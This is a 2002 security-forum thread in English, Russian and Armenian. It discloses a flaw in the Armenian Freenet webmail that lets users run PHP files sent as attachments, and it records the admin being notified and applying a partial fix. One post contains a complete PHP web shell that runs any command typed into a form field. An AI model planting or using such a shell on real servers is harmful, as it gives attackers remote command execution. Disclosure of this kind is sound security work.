| |
| |||||||
| Home | Register | Blogs | FAQ | Members List | Calendar | Downloads | Arcade | Mark Forums Read |
| Software Security Discussing software security algorithms, tricks, vulnerabilities |
 |
| | LinkBack | Thread Tools | Display Modes |
Jul 9, 2002, 05:49
| #1 |
| Консервативный Демагог  Join Date: Jan 2002 Location: Кавказская Албания
Posts: 889
Rep Power: 7 Reputation:
10 |  Armenian Freenet web based mailer security flaw Armenian Freenet web based mailer security flaw (software design bug) VX Advisory #0002 0Originally Discovered by Vahram Igityan <vx@web.am> @ 20020708 0DESCRIPTION Armenian Freenet is the most popular free mail and hosting server in Armenia. And it's web based mailer is part ot their free service located at http://email.freenet.am. 0OVERVIEW Users on Armenian Freenet can execute any type of PHP code. 0DETAILS When user is viewing his/her attachment its' beeing saved on server's disk in uniquie directory and beeing getted by browser, so if you attach .php file, it will be parsed by server. 0EXPLOIT Write code like <? phpinfo();?> ,attach it and send to freenet account, the open youre inbox using their web based mailer and -=enjoy=- 0SOLUTION Rewrite the part of attachemt viewing code, use directory outside the DocumentRoot and show attch by opening and dumping a file. ---eof--
__________________ Праздник к нам приходит... |^^^^^^^^^'''^\| ||\__ | ВОДКА-ВОДКА | ||','''|'''''''\_____,_ | _..... _ | ||_ _|'__|_____||.........| | '(@)'(@)'(@)''''''''''''''''''''''*|(@)""""|(@)* |
|   |
|
Jul 9, 2002, 06:42
| #2 |
| Студент Join Date: Jun 2002 Location: Yerevan
Posts: 258
Rep Power: 7 Reputation:
10 | lol Mne prosto interesno, est' li takoj tip attachmenta, kotoryj imeet smysl takim obrazom pokazyvat' (dage html ya by tak ne pokazyval)..  Nice discovery! 
__________________ http://www.d-brane.com |
|
| |
|
Jul 9, 2002, 15:47
| #4 |
| Консервативный Демагог Join Date: Jan 2002 Location: Кавказская Албания
Posts: 889
Rep Power: 7 Reputation:
10 | And here is a proof exploit code ))Code: <?
function fo(){
?>
<BODY>
<FORM>
<INPUT TYPE=TEXT NAME=cmd VALUE="ls">
<INPUT TYPE=SUBMIT NAME="ss" VALUE="bb">
</FORM>
</BODY>
<?
}
if (!isset($ss)){
fo();
}else
{
echo "<PRE>\n";
$pi = popen("$cmd","r");
while ( ! feof($pi))
print fgets($pi,512);
pclose($pi);
echo "</PRE>\n";
}
?>
__________________ Праздник к нам приходит... |^^^^^^^^^'''^\| ||\__ | ВОДКА-ВОДКА | ||','''|'''''''\_____,_ | _..... _ | ||_ _|'__|_____||.........| | '(@)'(@)'(@)''''''''''''''''''''''*|(@)""""|(@)* |
|
| |
|
Jul 9, 2002, 16:15
| #5 |
| Студент Join Date: Jun 2002 Location: Yerevan
Posts: 258
Rep Power: 7 Reputation:
10 |  Nothing else to say! Nice job! And a really funny one! I bet fn-ovskij admin etot forum ne chitaet, tak chto eto delo esche dolgo budet available..
__________________ http://www.d-brane.com |
|
| |
|
Jul 9, 2002, 17:13
| #6 |
| Школьник Join Date: Apr 2002 Location: Vanadzor
Posts: 227
Rep Power: 7 Reputation:
10 | 2 VX misht vor senc luj ben es gtnu, arajin@ sysadmin asa, te che es drutyamb 1000avor userner kan fn-um. mekn el xixch@ korcni u .... vobshem ti mokodec!!! bayc anpayman skzbic adminin asa, ete iharke der ches asel |
|
| |
|
Jul 9, 2002, 17:31
| #7 | |
| Консервативный Демагог Join Date: Jan 2002 Location: Кавказская Албания
Posts: 889
Rep Power: 7 Reputation:
10 | Quote:
But no ansewer getted  
__________________ Праздник к нам приходит... |^^^^^^^^^'''^\| ||\__ | ВОДКА-ВОДКА | ||','''|'''''''\_____,_ | _..... _ | ||_ _|'__|_____||.........| | '(@)'(@)'(@)''''''''''''''''''''''*|(@)""""|(@)* | |
|
| |
|
Jul 9, 2002, 19:38
| #8 |
| Консервативный Демагог Join Date: Jan 2002 Location: Кавказская Албания
Posts: 889
Rep Power: 7 Reputation:
10 | Admin replyed... He's very nice person 
__________________ Праздник к нам приходит... |^^^^^^^^^'''^\| ||\__ | ВОДКА-ВОДКА | ||','''|'''''''\_____,_ | _..... _ | ||_ _|'__|_____||.........| | '(@)'(@)'(@)''''''''''''''''''''''*|(@)""""|(@)* |
|
| |
|
Jul 10, 2002, 10:53
| #9 |
| Студент Join Date: Jun 2002 Location: Yerevan
Posts: 258
Rep Power: 7 Reputation:
10 | Hmm.. Ne znayu kak eto vyrazit' v slovax no eto chto-to.. ANY file, kotoryj on znaet kak zapuskat', mailer zapuskaet v sebe, eto vklyuchaet php, cgi (tut malen'kie problemy s privilege-ami, no eto erunda), asp i tak dalee.. Eto prosto koshmar! Plus file-y bez rasshireniya po neizvestnym prichinam pereimenovyvaet v file.txt i voobsche rabotaet prosto potryasno 2 VX: Nadeyus' Tigran eto vse ponyal.. Emu nado voobsche prikryt' web-email poka on ego ne ispravit, esli emu freenet dorog ili ge ego rabota.
__________________ http://www.d-brane.com |
|
| |
|
Jul 10, 2002, 11:25
| #10 |
| Студент Join Date: Jun 2002 Location: Yerevan
Posts: 258
Rep Power: 7 Reputation:
10 |  2 VX Eto Tigran tipa "zakryl" php, ostaviv vse ostal'noe?? Interesnyj chelovek By the way naschet asp ya kagetsya nedosmotrel normal'no, ne ponimaet vrode by, no .c file-y ne pokazyvaet, opyat' taki vidno pytaetsya zapustit' u sebya i ne poluchaet privilegij ( similar to cgi )
__________________ http://www.d-brane.com |
|
| |
|
Jul 10, 2002, 16:25
| #11 |
| Консервативный Демагог Join Date: Jan 2002 Location: Кавказская Албания
Posts: 889
Rep Power: 7 Reputation:
10 | DA, on imenno zakryil Xot' teper' "naglo" vzlomat' ne smogut
__________________ Праздник к нам приходит... |^^^^^^^^^'''^\| ||\__ | ВОДКА-ВОДКА | ||','''|'''''''\_____,_ | _..... _ | ||_ _|'__|_____||.........| | '(@)'(@)'(@)''''''''''''''''''''''*|(@)""""|(@)* |
|
| |
Linear Mode
